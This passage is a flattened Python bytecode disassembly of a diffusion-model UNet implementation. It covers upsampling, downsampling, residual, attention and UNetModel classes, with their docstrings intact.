__doc__ LOAD_CONST (None, 5) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab5410da50, file "f.py", line 127> LOAD_CONST 'TransposedUpsample.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab5410d540, file "f.py", line 136> LOAD_CONST 'TransposedUpsample.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST channels LOAD_FAST self STORE_ATTR channels LOAD_FAST out_channels JUMP_IF_TRUE_OR_POP LOAD_FAST channels LOAD_FAST self STORE_ATTR out_channels LOAD_GLOBAL nn LOAD_ATTR ConvTranspose2d LOAD_FAST self LOAD_ATTR channels LOAD_FAST self LOAD_ATTR out_channels LOAD_FAST ks LOAD_CONST 2 LOAD_CONST ('kernel_size', 'stride') CALL_FUNCTION LOAD_FAST self STORE_ATTR up LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD up LOAD_FAST x CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Downsample' STORE_NAME __qualname__ LOAD_CONST '\n A downsampling layer with an optional convolution.\n :param channels: channels in the inputs and outputs.\n :param use_conv: a bool determining if a convolution is applied.\n :param dims: determines if the signal is 1D, 2D, or 3D. If 3D, then\n downsampling occurs in the inner-two dimensions.\n ' STORE_NAME __doc__ LOAD_CONST (2, None, 1) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab5410d420, file "f.py", line 149> LOAD_CONST 'Downsample.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab5410d4b0, file "f.py", line 169> LOAD_CONST 'Downsample.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST channels LOAD_FAST self STORE_ATTR channels LOAD_FAST out_channels JUMP_IF_TRUE_OR_POP LOAD_FAST channels LOAD_FAST self STORE_ATTR out_channels LOAD_FAST use_conv LOAD_FAST self STORE_ATTR use_conv LOAD_FAST dims LOAD_FAST self STORE_ATTR dims LOAD_FAST dims LOAD_CONST 3 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST 2 JUMP_FORWARD to 52 LOAD_CONST (1, 2, 2) STORE_FAST stride LOAD_FAST use_conv POP_JUMP_IF_FALSE LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST self LOAD_ATTR channels LOAD_FAST self LOAD_ATTR out_channels LOAD_CONST 3 LOAD_FAST stride LOAD_FAST padding LOAD_CONST ('stride', 'padding') CALL_FUNCTION LOAD_FAST self STORE_ATTR op JUMP_FORWARD to 118 LOAD_FAST self LOAD_ATTR channels LOAD_FAST self LOAD_ATTR out_channels COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL avg_pool_nd LOAD_FAST dims LOAD_FAST stride LOAD_FAST stride LOAD_CONST ('kernel_size', 'stride') CALL_FUNCTION LOAD_FAST self STORE_ATTR op LOAD_CONST None RETURN_VALUE LOAD_FAST x LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR channels COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_METHOD op LOAD_FAST x CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ResBlock' STORE_NAME __qualname__ LOAD_CONST '\n A residual block that can optionally change the number of channels.\n :param channels: the number of input channels.\n :param emb_channels: the number of timestep embedding channels.\n :param dropout: the rate of dropout.\n :param out_channels: if specified, the number of out channels.\n :param use_conv: if True and out_channels is specified, use a spatial\n convolution instead of a smaller 1x1 convolution to change the\n channels in the skip connection.\n :param dims: determines if the signal is 1D, 2D, or 3D.\n :param use_checkpoint: if True, use gradient checkpointing on this module.\n :param up: if True, use this block for upsampling.\n :param down: if True, use this block for downsampling.\n ' STORE_NAME __doc__ LOAD_CONST (None, False, False, 2, False, False, False) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab8019b8a0, file "f.py", line 190> LOAD_CONST 'ResBlock.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fae2f3ebe40, file "f.py", line 254> LOAD_CONST 'ResBlock.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST <code object _forward at 0x7fae2f3eb420, file "f.py", line 265> LOAD_CONST 'ResBlock._forward' MAKE_FUNCTION STORE_NAME _forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST channels LOAD_FAST self STORE_ATTR channels LOAD_FAST emb_channels LOAD_FAST self STORE_ATTR emb_channels LOAD_FAST dropout LOAD_FAST self STORE_ATTR dropout LOAD_FAST out_channels JUMP_IF_TRUE_OR_POP LOAD_FAST channels LOAD_FAST self STORE_ATTR out_channels LOAD_FAST use_conv LOAD_FAST self STORE_ATTR use_conv LOAD_FAST use_checkpoint LOAD_FAST self STORE_ATTR use_checkpoint LOAD_FAST use_scale_shift_norm LOAD_FAST self STORE_ATTR use_scale_shift_norm LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL normalization LOAD_FAST channels CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD SiLU CALL_METHOD LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST channels LOAD_FAST self LOAD_ATTR out_channels LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST ('padding',) CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR in_layers LOAD_FAST up JUMP_IF_TRUE_OR_POP LOAD_FAST down LOAD_FAST self STORE_ATTR updown LOAD_FAST up POP_JUMP_IF_FALSE LOAD_GLOBAL Upsample LOAD_FAST channels LOAD_CONST False LOAD_FAST dims CALL_FUNCTION LOAD_FAST self STORE_ATTR h_upd LOAD_GLOBAL Upsample LOAD_FAST channels LOAD_CONST False LOAD_FAST dims CALL_FUNCTION LOAD_FAST self STORE_ATTR x_upd JUMP_FORWARD to 190 LOAD_FAST down POP_JUMP_IF_FALSE LOAD_GLOBAL Downsample LOAD_FAST channels LOAD_CONST False LOAD_FAST dims CALL_FUNCTION LOAD_FAST self STORE_ATTR h_upd LOAD_GLOBAL Downsample LOAD_FAST channels LOAD_CONST False LOAD_FAST dims CALL_FUNCTION LOAD_FAST self STORE_ATTR x_upd JUMP_FORWARD to 190 LOAD_GLOBAL nn LOAD_METHOD Identity CALL_METHOD DUP_TOP LOAD_FAST self STORE_ATTR h_upd LOAD_FAST self STORE_ATTR x_upd LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL nn LOAD_METHOD SiLU CALL_METHOD LOAD_GLOBAL linear LOAD_FAST emb_channels LOAD_FAST use_scale_shift_norm POP_JUMP_IF_FALSE LOAD_CONST 2 LOAD_FAST self LOAD_ATTR out_channels BINARY_MULTIPLY JUMP_FORWARD to 222 LOAD_FAST self LOAD_ATTR out_channels CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR emb_layers LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL normalization LOAD_FAST self LOAD_ATTR out_channels CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD SiLU CALL_METHOD LOAD_GLOBAL nn LOAD_ATTR Dropout LOAD_FAST dropout LOAD_CONST ('p',) CALL_FUNCTION LOAD_GLOBAL zero_module LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST self LOAD_ATTR out_channels LOAD_FAST self LOAD_ATTR out_channels LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST ('padding',) CALL_FUNCTION CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR out_layers LOAD_FAST self LOAD_ATTR out_channels LOAD_FAST channels COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL nn LOAD_METHOD Identity CALL_METHOD LOAD_FAST self STORE_ATTR skip_connection JUMP_FORWARD to 360 LOAD_FAST use_conv EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST channels LOAD_FAST self LOAD_ATTR out_channels LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST ('padding',) CALL_FUNCTION LOAD_FAST self STORE_ATTR skip_connection JUMP_FORWARD to 360 LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST channels LOAD_FAST self LOAD_ATTR out_channels LOAD_CONST 1 CALL_FUNCTION LOAD_FAST self STORE_ATTR skip_connection LOAD_CONST None RETURN_VALUE LOAD_GLOBAL checkpoint LOAD_FAST self LOAD_ATTR _forward LOAD_FAST x LOAD_FAST emb BUILD_TUPLE LOAD_FAST self LOAD_METHOD parameters CALL_METHOD LOAD_FAST self LOAD_ATTR use_checkpoint CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR updown POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR in_layers LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR in_layers LOAD_CONST -1 BINARY_SUBSCR ROT_TWO STORE_FAST in_rest STORE_FAST in_conv LOAD_FAST in_rest LOAD_FAST x CALL_FUNCTION STORE_FAST h LOAD_FAST self LOAD_METHOD h_upd LOAD_FAST h CALL_METHOD STORE_FAST h LOAD_FAST self LOAD_METHOD x_upd LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST in_conv LOAD_FAST h CALL_FUNCTION STORE_FAST h JUMP_FORWARD to 80 LOAD_FAST self LOAD_METHOD in_layers LOAD_FAST x CALL_METHOD STORE_FAST h LOAD_FAST self LOAD_METHOD emb_layers LOAD_FAST emb CALL_METHOD LOAD_METHOD type LOAD_FAST h LOAD_ATTR dtype CALL_METHOD STORE_FAST emb_out SETUP_LOOP to 132 LOAD_GLOBAL len LOAD_FAST emb_out LOAD_ATTR shape CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST h LOAD_ATTR shape CALL_FUNCTION COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST emb_out LOAD_CONST (Ellipsis, None) BINARY_SUBSCR STORE_FAST emb_out JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR use_scale_shift_norm POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR out_layers LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR out_layers LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR ROT_TWO STORE_FAST out_norm STORE_FAST out_rest LOAD_GLOBAL th LOAD_ATTR chunk LOAD_FAST emb_out LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST scale STORE_FAST shift LOAD_FAST out_norm LOAD_FAST h CALL_FUNCTION LOAD_CONST 1 LOAD_FAST scale BINARY_ADD BINARY_MULTIPLY LOAD_FAST shift BINARY_ADD STORE_FAST h LOAD_FAST out_rest LOAD_FAST h CALL_FUNCTION STORE_FAST h JUMP_FORWARD to 232 LOAD_FAST h LOAD_FAST emb_out BINARY_ADD STORE_FAST h LOAD_FAST self LOAD_METHOD out_layers LOAD_FAST h CALL_METHOD STORE_FAST h LOAD_FAST self LOAD_METHOD skip_connection LOAD_FAST x CALL_METHOD LOAD_FAST h BINARY_ADD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AttentionBlock' STORE_NAME __qualname__ LOAD_CONST '\n An attention block that allows spatial positions to attend to each other.\n Originally ported from here, but adapted to the N-d case.\n https://github.com/hojonathanho/diffusion/blob/1e0dceb3b3495bbe19116a5e1b3596cd0706c543/diffusion_tf/models/unet.py#L66.\n ' STORE_NAME __doc__ LOAD_CONST (1, -1, False, False) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fae2f3ebb70, file "f.py", line 295> LOAD_CONST 'AttentionBlock.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fae2f3eb6f0, file "f.py", line 322> LOAD_CONST 'AttentionBlock.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST <code object _forward at 0x7fab701b9b70, file "f.py", line 327> LOAD_CONST 'AttentionBlock._forward' MAKE_FUNCTION STORE_NAME _forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST channels LOAD_FAST self STORE_ATTR channels LOAD_FAST num_head_channels LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST num_heads LOAD_FAST self STORE_ATTR num_heads JUMP_FORWARD to 74 LOAD_FAST channels LOAD_FAST num_head_channels BINARY_MODULO LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'q,k,v channels ' LOAD_FAST channels FORMAT_VALUE LOAD_CONST ' is not divisible by num_head_channels ' LOAD_FAST num_head_channels FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST channels LOAD_FAST num_head_channels BINARY_FLOOR_DIVIDE LOAD_FAST self STORE_ATTR num_heads LOAD_FAST use_checkpoint LOAD_FAST self STORE_ATTR use_checkpoint LOAD_GLOBAL normalization LOAD_FAST channels CALL_FUNCTION LOAD_FAST self STORE_ATTR norm LOAD_GLOBAL conv_nd LOAD_CONST 1 LOAD_FAST channels LOAD_FAST channels LOAD_CONST 3 BINARY_MULTIPLY LOAD_CONST 1 CALL_FUNCTION LOAD_FAST self STORE_ATTR qkv LOAD_FAST use_new_attention_order POP_JUMP_IF_FALSE LOAD_GLOBAL QKVAttention LOAD_FAST self LOAD_ATTR num_heads CALL_FUNCTION LOAD_FAST self STORE_ATTR attention JUMP_FORWARD to 140 LOAD_GLOBAL QKVAttentionLegacy LOAD_FAST self LOAD_ATTR num_heads CALL_FUNCTION LOAD_FAST self STORE_ATTR attention LOAD_GLOBAL zero_module LOAD_GLOBAL conv_nd LOAD_CONST 1 LOAD_FAST channels LOAD_FAST channels LOAD_CONST 1 CALL_FUNCTION CALL_FUNCTION LOAD_FAST self STORE_ATTR proj_out LOAD_CONST None RETURN_VALUE LOAD_GLOBAL checkpoint LOAD_FAST self LOAD_ATTR _forward LOAD_FAST x BUILD_TUPLE LOAD_FAST self LOAD_METHOD parameters CALL_METHOD LOAD_CONST True CALL_FUNCTION RETURN_VALUE LOAD_FAST x LOAD_ATTR shape UNPACK_EX STORE_FAST b STORE_FAST c STORE_FAST spatial LOAD_FAST x LOAD_METHOD reshape LOAD_FAST b LOAD_FAST c LOAD_CONST -1 CALL_METHOD STORE_FAST x LOAD_FAST self LOAD_METHOD qkv LOAD_FAST self LOAD_METHOD norm LOAD_FAST x CALL_METHOD CALL_METHOD STORE_FAST qkv LOAD_FAST self LOAD_METHOD attention LOAD_FAST qkv CALL_METHOD STORE_FAST h LOAD_FAST self LOAD_METHOD proj_out LOAD_FAST h CALL_METHOD STORE_FAST h LOAD_FAST x LOAD_FAST h BINARY_ADD LOAD_ATTR reshape LOAD_FAST b LOAD_FAST c BUILD_TUPLE LOAD_FAST spatial BUILD_TUPLE CALL_FUNCTION RETURN_VALUE LOAD_FAST y LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR shape UNPACK_EX STORE_FAST b STORE_FAST c STORE_FAST spatial LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD prod LOAD_FAST spatial CALL_METHOD CALL_FUNCTION STORE_FAST num_spatial LOAD_CONST 2 LOAD_FAST b BINARY_MULTIPLY LOAD_FAST num_spatial LOAD_CONST 2 BINARY_POWER BINARY_MULTIPLY LOAD_FAST c BINARY_MULTIPLY STORE_FAST matmul_ops LOAD_FAST model DUP_TOP LOAD_ATTR total_ops LOAD_GLOBAL th LOAD_METHOD DoubleTensor LOAD_FAST matmul_ops BUILD_LIST CALL_METHOD INPLACE_ADD ROT_TWO STORE_ATTR total_ops LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'QKVAttentionLegacy' STORE_NAME __qualname__ LOAD_CONST '\n A module which performs QKV attention. Matches legacy QKVAttention + input/ouput heads shaping\n ' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab701b9810, file "f.py", line 358> LOAD_CONST 'QKVAttentionLegacy.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab701b9270, file "f.py", line 362> LOAD_CONST 'QKVAttentionLegacy.forward' MAKE_FUNCTION STORE_NAME forward LOAD_NAME staticmethod LOAD_CONST <code object count_flops at 0x7fab701b9f60, file "f.py", line 380> LOAD_CONST 'QKVAttentionLegacy.count_flops' MAKE_FUNCTION CALL_FUNCTION STORE_NAME count_flops LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST n_heads LOAD_FAST self STORE_ATTR n_heads LOAD_CONST None RETURN_VALUE LOAD_FAST qkv LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST bs STORE_FAST width STORE_FAST length LOAD_FAST width LOAD_CONST 3 LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY BINARY_MODULO LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST width LOAD_CONST 3 LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY BINARY_FLOOR_DIVIDE STORE_FAST ch LOAD_FAST qkv LOAD_METHOD reshape LOAD_FAST bs LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY LOAD_FAST ch LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST length CALL_METHOD LOAD_ATTR split LOAD_FAST ch LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST q STORE_FAST k STORE_FAST v LOAD_CONST 1 LOAD_GLOBAL math LOAD_METHOD sqrt LOAD_GLOBAL math LOAD_METHOD sqrt LOAD_FAST ch CALL_METHOD CALL_METHOD BINARY_TRUE_DIVIDE STORE_FAST scale LOAD_GLOBAL th LOAD_METHOD einsum LOAD_CONST 'bct,bcs->bts' LOAD_FAST q LOAD_FAST scale BINARY_MULTIPLY LOAD_FAST k LOAD_FAST scale BINARY_MULTIPLY CALL_METHOD STORE_FAST weight LOAD_GLOBAL th LOAD_ATTR softmax LOAD_FAST weight LOAD_METHOD float CALL_METHOD LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_METHOD type LOAD_FAST weight LOAD_ATTR dtype CALL_METHOD STORE_FAST weight LOAD_GLOBAL th LOAD_METHOD einsum LOAD_CONST 'bts,bcs->bct' LOAD_FAST weight LOAD_FAST v CALL_METHOD STORE_FAST a LOAD_FAST a LOAD_METHOD reshape LOAD_FAST bs LOAD_CONST -1 LOAD_FAST length CALL_METHOD RETURN_VALUE LOAD_GLOBAL count_flops_attn LOAD_FAST model LOAD_FAST _x LOAD_FAST y CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'QKVAttention' STORE_NAME __qualname__ LOAD_CONST '\n A module which performs QKV attention and splits in a different order.\n ' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41faeae0, file "f.py", line 390> LOAD_CONST 'QKVAttention.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab41faea50, file "f.py", line 394> LOAD_CONST 'QKVAttention.forward' MAKE_FUNCTION STORE_NAME forward LOAD_NAME staticmethod LOAD_CONST <code object count_flops at 0x7fab41fae780, file "f.py", line 414> LOAD_CONST 'QKVAttention.count_flops' MAKE_FUNCTION CALL_FUNCTION STORE_NAME count_flops LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST n_heads LOAD_FAST self STORE_ATTR n_heads LOAD_CONST None RETURN_VALUE LOAD_FAST qkv LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST bs STORE_FAST width STORE_FAST length LOAD_FAST width LOAD_CONST 3 LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY BINARY_MODULO LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST width LOAD_CONST 3 LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY BINARY_FLOOR_DIVIDE STORE_FAST ch LOAD_FAST qkv LOAD_ATTR chunk LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST q STORE_FAST k STORE_FAST v LOAD_CONST 1 LOAD_GLOBAL math LOAD_METHOD sqrt LOAD_GLOBAL math LOAD_METHOD sqrt LOAD_FAST ch CALL_METHOD CALL_METHOD BINARY_TRUE_DIVIDE STORE_FAST scale LOAD_GLOBAL th LOAD_METHOD einsum LOAD_CONST 'bct,bcs->bts' LOAD_FAST q LOAD_FAST scale BINARY_MULTIPLY LOAD_METHOD view LOAD_FAST bs LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY LOAD_FAST ch LOAD_FAST length CALL_METHOD LOAD_FAST k LOAD_FAST scale BINARY_MULTIPLY LOAD_METHOD view LOAD_FAST bs LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY LOAD_FAST ch LOAD_FAST length CALL_METHOD CALL_METHOD STORE_FAST weight LOAD_GLOBAL th LOAD_ATTR softmax LOAD_FAST weight LOAD_METHOD float CALL_METHOD LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_METHOD type LOAD_FAST weight LOAD_ATTR dtype CALL_METHOD STORE_FAST weight LOAD_GLOBAL th LOAD_METHOD einsum LOAD_CONST 'bts,bcs->bct' LOAD_FAST weight LOAD_FAST v LOAD_METHOD reshape LOAD_FAST bs LOAD_FAST self LOAD_ATTR n_heads BINARY_MULTIPLY LOAD_FAST ch LOAD_FAST length CALL_METHOD CALL_METHOD STORE_FAST a LOAD_FAST a LOAD_METHOD reshape LOAD_FAST bs LOAD_CONST -1 LOAD_FAST length CALL_METHOD RETURN_VALUE LOAD_GLOBAL count_flops_attn LOAD_FAST model LOAD_FAST _x LOAD_FAST y CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UNetModel' STORE_NAME __qualname__ LOAD_CONST '\n The full UNet model with attention and timestep embedding.\n :param in_channels: channels in the input Tensor.\n :param model_channels: base channel count for the model.\n :param out_channels: channels in the output Tensor.\n :param num_res_blocks: number of residual blocks per downsample.\n :param attention_resolutions: a collection of downsample rates at which\n attention will take place. May be a set, list, or tuple.\n For example, if this contains 4, then at 4x downsampling, attention\n will be used.\n :param dropout: the dropout probability.\n :param channel_mult: channel multiplier for each level of the UNet.\n :param conv_resample: if True, use learned convolutions for upsampling and\n downsampling.\n :param dims: determines if the signal is 1D, 2D, or 3D.\n :param num_classes: if specified (as an int), then this model will be\n class-conditional with `num_classes` classes.\n :param use_checkpoint: use gradient checkpointing to reduce memory usage.\n :param num_heads: the number of attention heads in each attention layer.\n :param num_heads_channels: if specified, ignore num_heads and instead use\n a fixed channel width per attention head.\n :param num_heads_upsample: works with num_heads to set a different number\n of heads for upsampling. Deprecated.\n :param use_scale_shift_norm: use a FiLM-like conditioning mechanism.\n :param resblock_updown: use residual blocks for up/downsampling.\n :param use_new_attention_order: use a different attention pattern for potentially\n increased efficiency.\n ' STORE_NAME __doc__ LOAD_CONST (0, (1, 2, 4, 8), True, 2, None, False, False, -1, -1, -1, False, False, False, False, 1, None, None, True, None, None, False, False) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41faeed0, file "f.py", line 449> LOAD_CONST 'UNetModel.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object convert_to_fp16 at 0x7fab41fae300, file "f.py", line 791> LOAD_CONST 'UNetModel.convert_to_fp16' MAKE_FUNCTION STORE_NAME convert_to_fp16 LOAD_CONST <code object convert_to_fp32 at 0x7fab41fae9c0, file "f.py", line 799> LOAD_CONST 'UNetModel.convert_to_fp32' MAKE_FUNCTION STORE_NAME convert_to_fp32 LOAD_CONST (None, None, None) LOAD_CONST <code object forward at 0x7fab41fae6f0, file "f.py", line 807> LOAD_CONST 'UNetModel.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST use_spatial_transformer POP_JUMP_IF_FALSE LOAD_FAST context_dim LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST context_dim LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST use_spatial_transformer POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 0 LOAD_CONST ('ListConfig',) IMPORT_NAME omegaconf.listconfig IMPORT_FROM ListConfig STORE_FAST ListConfig POP_TOP LOAD_GLOBAL type LOAD_FAST context_dim CALL_FUNCTION LOAD_FAST ListConfig COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL list LOAD_FAST context_dim CALL_FUNCTION STORE_FAST context_dim LOAD_FAST num_heads_upsample LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST num_heads STORE_FAST num_heads_upsample LOAD_FAST num_heads LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST num_head_channels LOAD_CONST -1 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Either num_heads or num_head_channels has to be set' CALL_FUNCTION RAISE_VARARGS LOAD_FAST num_head_channels LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST num_heads LOAD_CONST -1 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Either num_heads or num_head_channels has to be set' CALL_FUNCTION RAISE_VARARGS LOAD_FAST image_size LOAD_DEREF self STORE_ATTR image_size LOAD_FAST in_channels LOAD_DEREF self STORE_ATTR in_channels LOAD_FAST model_channels LOAD_DEREF self STORE_ATTR model_channels LOAD_FAST out_channels LOAD_DEREF self STORE_ATTR out_channels LOAD_GLOBAL isinstance LOAD_FAST num_res_blocks LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST channel_mult CALL_FUNCTION LOAD_FAST num_res_blocks BUILD_LIST BINARY_MULTIPLY LOAD_DEREF self STORE_ATTR num_res_blocks JUMP_FORWARD to 216 LOAD_GLOBAL len LOAD_FAST num_res_blocks CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST channel_mult CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'provide num_res_blocks either as an int (globally constant) or as a list/tuple (per-level) with the same length as channel_mult' CALL_FUNCTION RAISE_VARARGS LOAD_FAST num_res_blocks LOAD_DEREF self STORE_ATTR num_res_blocks LOAD_FAST disable_self_attentions LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST disable_self_attentions CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST channel_mult CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF num_attention_blocks LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_DEREF num_attention_blocks CALL_FUNCTION LOAD_GLOBAL len LOAD_DEREF self LOAD_ATTR num_res_blocks CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_GLOBAL map LOAD_CLOSURE num_attention_blocks LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab41fae150, file "f.py", line 523> LOAD_CONST 'UNetModel.__init__.<locals>.<lambda>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_GLOBAL len LOAD_DEREF num_attention_blocks CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL print LOAD_CONST 'Constructor of UNetModel received num_attention_blocks=' LOAD_DEREF num_attention_blocks FORMAT_VALUE LOAD_CONST '. This option has LESS priority than attention_resolutions ' LOAD_FAST attention_resolutions 